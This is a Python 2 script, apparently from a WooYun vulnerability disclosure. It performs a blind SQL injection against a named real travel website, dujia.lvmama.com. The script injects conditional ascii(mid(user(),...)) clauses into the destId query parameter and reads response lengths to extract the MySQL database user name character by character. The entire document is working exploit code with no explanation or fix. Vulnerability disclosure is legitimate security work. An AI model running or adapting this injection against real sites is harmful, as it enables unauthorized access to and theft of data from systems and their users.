WooYun.org

import httplib
import urllib
import urllib2
payloads = list('abcdefghijklmnopqrstuvwxyz.1234567890_')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('dujia.lvmama.com:80', timeout=5)
            s = "/trip/destPaginationOfTrip?currentPage=1&destId=3727,3729,3543)/**/AND/**/if(ascii(mid(user(),%d,1))=%s,1,2)=1/**/AND/**/(7=7&elite=1&categoryCode=category_route_group" % (i, ord(payload))
            conn.request(method='GET',url=s)
            data3 = conn.getresponse().read()
        except:
            continue   
        
        if len(data3) > 200:
            user += str(payload)
            print '\n[in progress]', user
            break
        else:
            print ".",
print '\nMySQL user is', user